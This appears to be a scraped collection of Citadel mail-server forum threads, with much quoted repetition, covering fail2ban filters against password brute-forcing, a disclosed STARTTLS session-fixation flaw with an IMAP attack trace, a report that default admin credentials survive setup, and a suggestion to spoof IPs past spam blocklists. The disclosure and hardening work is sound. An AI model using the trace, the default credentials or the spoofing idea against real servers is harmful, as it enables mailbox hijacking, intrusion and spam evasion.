I have sent you a PM now. Thanks!

Augustus

Hi!

I have discovered a command injection vulnerability in Citadel Server which leads to RCE. It allows an authenticated user to execute arbitrary commands as the user running the citadel server.

I have tested the exploit on "WebCit 1010 / Citadel Server 1010".
This vulnerability can in theory be exploited by any authenticated user given some restrictions.

I can provide a detailed description and a proof of concept exploit script to showcase the exploit. What's the best way for me to do this?

Thanks
Augustus

Tue Oct 29 2024 14:10:16 EDT from IGnatius T Foobar Subject: Re: Triggering script from mail filter

Currently there's not much in place to do this, but I'd be open to adding webhooks. What kind of events did you have in mind to trigger them?

I was thinking of user and room creation notices, and possibly things like expiry notices.

Shifting to the standalone authentication seems to have fixed that security issue, so it's unlikely to happen unless I deliberately switch on sign-ups, but it would be handy to get a ping to check things.

I've not not the detailed to know if a webhook would do this, but it would be great if it does - I'm currently using scripts with curl to send pages via a restful API, which are fine for a manual trigger, but don't seem to want to cooperate with cron - that's likely another issue entirely, though.

Tue Oct 29 2024 14:10:16 EDT from IGnatius T Foobar Subject: Re: Triggering script from mail filter

Currently there's not much in place to do this, but I'd be open to adding webhooks. What kind of events did you have in mind to trigger them?

I was thinking of user and room creation notices, and possibly things like expiry notices.

Shifting to the standalone authentication seems to have fixed that security issue, so it's unlikely to happen unless I deliberately switch on sign-ups, but it would be handy to get a ping to check things.

I've not not the detailed to know if a webhook would do this, but it would be great if it does - I'm currently using scripts with curl to send pages via a restful API, which are fine for a manual trigger, but don't seem to want to cooperate with cron - that's likely another issue entirely, though.

Not that it helps you any on the mechanics, but its 2024, myself id be looking at text messages to my phone instead of a pager.  ( either direct via some sms service or via a email gateway, most phone providers offer this now )

Tue Oct 29 2024 14:01:27 EDT from BrotherPhil Subject: Triggering script from mail filter

I've been thinking about using a pager to give me some notifications about things happening on my host - largely so that I know that it's me doing them, or who is if not me.

As I use DAPNet, a simple way to do this would be a script to make an API call to send a predefined message. I don't see any obvious way to do this on Citadel, though. Is there a way to trigger scripts? 

I've been thinking about using a pager to give me some notifications about things happening on my host - largely so that I know that it's me doing them, or who is if not me.

As I use DAPNet, a simple way to do this would be a script to make an API call to send a predefined message. I don't see any obvious way to do this on Citadel, though. Is there a way to trigger scripts? 

I know this is an old post, but just now noticing this.  I wonder if that is what happened to me when i had my break-in, freaked out, and totally erased my VM. 

Sat Jul 23 2022 01:30:04 PM EDT from IGnatius T Foobar Subject: Re: Not sure if PEBKAC or security issue

You might be right about that. admin/citadel is the default administrator, which was done with the intention of eventually eliminating the setup program altogether. The prompts in the setup program don't work on that account specifically. Setup creates the account specified if it isn't there, and resets the password if it's already there. We should do something about that, so thanks for pointing it out.

i figured it out. here what i'was change to get it working: current debian 11 installation.

file: /etc/fail2ban/filter.d/citadel.conf

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>
#failregex = .*Permission denied.* <HOST>


# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

maxretry = 1
findtime = 1h

banaction = /etc/fail2ban/action.d/iptables-mu

file: /etc/fail2ban/action.d/iptables-multiport.conf

# Fail2Ban configuration file
#
# Author: Cyril Jaquier
# Modified by Yaroslav Halchenko for multiport banning
#

[INCLUDES]

before = iptables-common.conf

[Definition]

# Option:  actionstart
# Notes.:  command executed on demand at the first ban (or at the start of Fail2Ban if actionstart_on_demand is set to false).
# Values:  CMD
#
actionstart = <iptables> -N f2b-<name>
              <iptables> -A f2b-<name> -j <returntype>
              <iptables> -I <chain> -p <protocol> -m multiport --dports 0:65535 -j f2b-<name>

# Option:  actionstop
# Notes.:  command executed at the stop of jail (or at the end of Fail2Ban)
# Values:  CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports 0:65535 -j f2b-<name>
             <actionflush>

Tue Sep 29 2020 19:58:40 EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

Followed the guide here: https://pimylifeup.com/raspberry-pi-email-server/

During setup I defined the new username for citadel admin, added a 64char pw (autogenerated, random with special chars enabled). No messages shown something was up. After setup finished tried to log in with user/pass that I've configured and got a "password wrong" error message.

Tried to see how to reset password, found the FAQ entry, but did not go through with that before trying:

- user: admin
- pass: citadel

And somehow this combination worked, even though it should've been overwritten during setup.

In my now running citadel environment I see both users listed. 

--------------

I *think* that during setup, the default admin user configuration does not overwrite the user admin but just adds a user. If this is the case there could be a lof of citadel environments insecure.

But as subject says, I can be the problem :)

I've had to abandon my HMAIL server (Windows XP PRO issues activating)

I have installed a Debian system with Citadel. I am looking to do some relaying of email from specific IP addresses from old devices that cannot handle auth.

Is it possible thru Citadel and can it be done via the web manager? Or will it have to be done via CLI?

Hello,

during our security research into mail servers at FH Münster University of Applied Sciences, we found another vulnerability in Citadel 931. This vulnerability is what we call a session fixation (even though it's not exactly the same as a web-based session fixation).

This vulnerability is related to STARTTLS and requires a network Meddler-in-the-Middle between mail client and the citadel server. Consider the following simplified IMAP trace (A: Attacker, C: Client, S: Server):

S: * OK //...
A: A LOGIN attacker pass
S: A OK //...
C: B STARTTLS
S: A OK begin TLS negotiation now
---- TLS Handshake ----
// ...
C: X FETCH 1 BODY[]
// This will fetch a mail from the attacker's mailbox
C: * 1 FETCH (BODY[] {859}
S: From: ...
S: To: ...
S: Subject: Crafted E-mail
S: //...
S: Crafted E-Mail Body
S: X OK FETCH completed
C: Y APPEND "Sent" (\SEEN) {676}
C: From: ...
C: To: ...
C:
C: Hello, ...
S: Y OK
// This will append the e-mail to attacker's mailbox

As you can see from the above trace, it allows an attacker to fixate their own session in the plaintext phase of the STARTTLS connection. This potentially allows an attacker to present their own mailbox to the client and get any synchronized mails from the client. This will, however, depend on how the user's mail client reacts to an already authenticated session.

The same vulnerability is present in POP3, but more limited, as POP3 does not allow users to upload their own mails.

The main issue in our opinion is allowing any user authentication before STARTTLS (since any authentication data will be sent in plaintext). However, if this is needed by some users, a quick mitigation would be to disallow STARTTLS after user authentication. This fix would be aligned with RFC2595 which states that
"The STARTTLS command is only valid in non-authenticated state."

If you have any questions, feel free to get back to me.

Best regards,
Murgi

I figured it out.  

Tue Apr 27 2021 19:11:47 EDT from awrdgrs Subject: Re: Quick and dirty Fail2ban filter for Citadel..

Thanks for posting this.  Unfortunately it will not work on my server.  I'm wondering what I could be doing wrong.

fail2ban loads without error and when I run (fail2ban-client status citadel) I get the following:

|- Filter

|  |- Currently failed: 0

|  |- Total failed:     0

|  `- File list:        /var/log/citadel.log

`- Actions

   |- Currently banned: 0

   |- Total banned:     0

   `- Banned IP list:

 

I copied out a Bad password line from the log to test.log and ran the following:

fail2ban-regex ./test.log citadel               

Here is the result: (The logfile line is at the bottom.  I replaced the IP and username)

Running tests

=============

Use   failregex filter file : citadel, basedir: /etc/fail2ban

Use      datepattern : Default Detectors

Use         log file : ./test.log

Use         encoding : UTF-8

 

Results

=======

Failregex: 0 total

Ignoreregex: 0 total

 

Date template hits:

|- [# of hits] date format

|  [1] {^LN-BEG}(?:DAY )?MON Day %k:Minute:Second(?:\.Microseconds)?(?: ExYear)?

`-

Lines: 1 lines, 0 ignored, 0 matched, 1 missed

[processed in 0.00 sec]

 

|- Missed line(s):

|  Apr 27 20:52:22 host1 citserver[5990]: Context: Bad password specified for <testuser> Service <SMTP-MSA> Port <587> Remote <192.168.1.1 / 192.168.1.1>

 

Any help is appreciated.  

 

 

Wed Jan 13 2021 14:36:14 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.

I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.

Wed Jan 13 2021 02:15:46 EST from Michael Subject: Re: Quick and dirty Fail2ban filter for Citadel..

Have you tried testing the filter via command line? fail2ban-regex <path to log> filter_name

Mon Jan 11 2021 12:25:43 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).

Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?

 

Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from <port> to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).

 

Sun Jan 10 2021 22:40:26 EST from warbaby Subject: Re: Quick and dirty Fail2ban filter for Citadel..

As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..

IIRC something like:

/usr/local/citadel/citserver -x7 # which I forgot to document. :O

[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]

I did that so I could see the output as I was working on the filter. 

I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..

And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.

Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.

fail2ban-client set citadel unbanip <your-ip-address>

Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. 

IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...

 

Tue Sep 29 2020 07:58:40 PM EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

 

 

 

 

Thanks for posting this.  Unfortunately it will not work on my server.  I'm wondering what I could be doing wrong.

fail2ban loads without error and when I run (fail2ban-client status citadel) I get the following:

|- Filter

|  |- Currently failed: 0

|  |- Total failed:     0

|  `- File list:        /var/log/citadel.log

`- Actions

   |- Currently banned: 0

   |- Total banned:     0

   `- Banned IP list:

I copied out a Bad password line from the log to test.log and ran the following:

fail2ban-regex ./test.log citadel               

Here is the result: (The logfile line is at the bottom.  I replaced the IP and username)

Running tests

=============

Use   failregex filter file : citadel, basedir: /etc/fail2ban

Use      datepattern : Default Detectors

Use         log file : ./test.log

Use         encoding : UTF-8

Results

=======

Failregex: 0 total

Ignoreregex: 0 total

Date template hits:

|- [# of hits] date format

|  [1] {^LN-BEG}(?:DAY )?MON Day %k:Minute:Second(?:\.Microseconds)?(?: ExYear)?

`-

Lines: 1 lines, 0 ignored, 0 matched, 1 missed

[processed in 0.00 sec]

|- Missed line(s):

|  Apr 27 20:52:22 host1 citserver[5990]: Context: Bad password specified for <testuser> Service <SMTP-MSA> Port <587> Remote <192.168.1.1 / 192.168.1.1>

Wed Jan 13 2021 14:36:14 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.

I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.

Wed Jan 13 2021 02:15:46 EST from Michael Subject: Re: Quick and dirty Fail2ban filter for Citadel..

Have you tried testing the filter via command line? fail2ban-regex <path to log> filter_name

Mon Jan 11 2021 12:25:43 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).

Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?

 

Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from <port> to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).

 

Sun Jan 10 2021 22:40:26 EST from warbaby Subject: Re: Quick and dirty Fail2ban filter for Citadel..

As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..

IIRC something like:

/usr/local/citadel/citserver -x7 # which I forgot to document. :O

[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]

I did that so I could see the output as I was working on the filter. 

I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..

And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.

Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.

fail2ban-client set citadel unbanip <your-ip-address>

Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. 

IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...

 

Tue Sep 29 2020 07:58:40 PM EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

 

 

 

Thanks for posting this.  Unfortunately it will not work on my server.  I'm wondering what I could be doing wrong.

fail2ban loads without error and when I run (fail2ban-client status citadel) I get the following:

|- Filter

|  |- Currently failed: 0

|  |- Total failed:     0

|  `- File list:        /var/log/citadel.log

`- Actions

   |- Currently banned: 0

   |- Total banned:     0

   `- Banned IP list:

I copied out a Bad password line from the log to test.log and ran the following:

fail2ban-regex ./test.log citadel               

Here is the result: (The logfile line is at the bottom.  I replaced the IP and username)

Running tests

=============

Use   failregex filter file : citadel, basedir: /etc/fail2ban

Use      datepattern : Default Detectors

Use         log file : ./test.log

Use         encoding : UTF-8

Results

=======

Failregex: 0 total

Ignoreregex: 0 total

Date template hits:

|- [# of hits] date format

|  [1] {^LN-BEG}(?:DAY )?MON Day %k:Minute:Second(?:\.Microseconds)?(?: ExYear)?

`-

Lines: 1 lines, 0 ignored, 0 matched, 1 missed

[processed in 0.00 sec]

|- Missed line(s):

|  Apr 27 20:52:22 host1 citserver[5990]: Context: Bad password specified for <testuser> Service <SMTP-MSA> Port <587> Remote <192.168.1.1 / 192.168.1.1>

Wed Jan 13 2021 14:36:14 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.

I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.

Wed Jan 13 2021 02:15:46 EST from Michael Subject: Re: Quick and dirty Fail2ban filter for Citadel..

Have you tried testing the filter via command line? fail2ban-regex <path to log> filter_name

Mon Jan 11 2021 12:25:43 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).

Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?

 

Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from <port> to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).

 

Sun Jan 10 2021 22:40:26 EST from warbaby Subject: Re: Quick and dirty Fail2ban filter for Citadel..

As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..

IIRC something like:

/usr/local/citadel/citserver -x7 # which I forgot to document. :O

[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]

I did that so I could see the output as I was working on the filter. 

I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..

And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.

Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.

fail2ban-client set citadel unbanip <your-ip-address>

Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. 

IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...

 

Tue Sep 29 2020 07:58:40 PM EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

 

 

 

They sound familiar, i think i used them for a bit when i was between hosting providers after i lost my static IP at home and could not self-host anymore. ( could be wrong and it was someone else, its been nearly 2 decades now )

Wed Apr 14 2021 22:47:07 EDT from test2

hmm, i've been using no-ip for a couple of years.  they do domain registration, managed DNS, dynamic DNS, email and email forwarding. a lite collection of network services. they'll do email forwarding for $10/year. I was thinking about setting it up with a citadel server.  my current provider lets me send/receive on all ports, no blocks.  the dynamic ddns works pretty well with a citadel bbs. they'll give you 3 dynamic dns's for free. 

https://www.noip.com/managed-mail

https://www.noip.com/support/

 

hmm, i've been using no-ip for a couple of years.  they do domain registration, managed DNS, dynamic DNS, email and email forwarding. a lite collection of network services. they'll do email forwarding for $10/year. I was thinking about setting it up with a citadel server.  my current provider lets me send/receive on all ports, no blocks.  the dynamic ddns works pretty well with a citadel bbs. they'll give you 3 dynamic dns's for free. 

https://www.noip.com/managed-mail

https://www.noip.com/support/

Wed Apr 14 2021 07:25:18 PM EDT from Nurb432

its blue host and i have absolutely no idea how much it is.  Their freaking setup makes it impossible now.   Confusing as hell.   I rarely go into their pages, but they are not friendly now. at all.

But i can say its not 30. its more than that.  I paid them a 2 year renewal last time.  and it was not 60 bucks. 

its blue host and i have absolutely no idea how much it is.  Their freaking setup makes it impossible now.   Confusing as hell.   I rarely go into their pages, but they are not friendly now. at all.

But i can say its not 30. its more than that.  I paid them a 2 year renewal last time.  and it was not 60 bucks. 

who is hosting your domain and how much do they charge?  domain hosting is usually like $30/yr and if they let you bounce email through, thats a deal!

Wed Apr 14 2021 08:34:22 AM EDT from Nurb432

The people that host my domain's DNS allows me to bounce email thru them, from a home IP subnet, for no additional charge.

But i do agree 15bucks isn't bad.

 

The people that host my domain's DNS allows me to bounce email thru them, from a home IP subnet, for no additional charge.

But i do agree 15bucks isn't bad.

looks pretty good.  also answers the question of domain name hosting and multiple IP addressing.  $15/mo isn't too bad.

Mon Apr 12 2021 03:05:20 PM EDT from IGnatius T Foobar Subject: Re: spamhaus and ip spoofing

If you intend to run a Citadel server from a home Internet connection, check out the service I mentioned in the Citadel Support room. Really effective and I highly recommend it.

looks like emails originating from private citadel servers get rejected from the major internet cartels.  they're using spamhaus to store the lists of cartel ip address on the policy block lists.  So you have a time warner internet email account because they are your internet provider.  time warner gives you a home ip from their block of residential ip's and puts your home ip into the spamhaus policy block list.  you send an email to a yahoo email address and the yahoo server rejects the citadel originated email transaction due to a policy block.

China and russia get around this problem by spoofing ip addresses until yahoo accepts the spam mail.  Be nice if citadel had a spoof ip function to get around the policy block. get the two robots chattering away while citadel twiddles the ip in the packets until yahoo accepts.  then citadel puts that ip on the happy list for now.

just sayin.

https://www.spamhaus.org/sbl/

Are you able to share a step-by-step instruction on how to implement LetsEncrypt certificate with automatic renewal on a Citadel server?

There is almost no information out there on doing it, and it is a bit non-standard configuration...

Thank you so much!

Tue Sep 29 2020 20:58:09 EDT from warbaby Subject: Let's Encrypt! .. no need to use the http authentication methods..

There are a lot of alternative methods of authentication for certbot. 

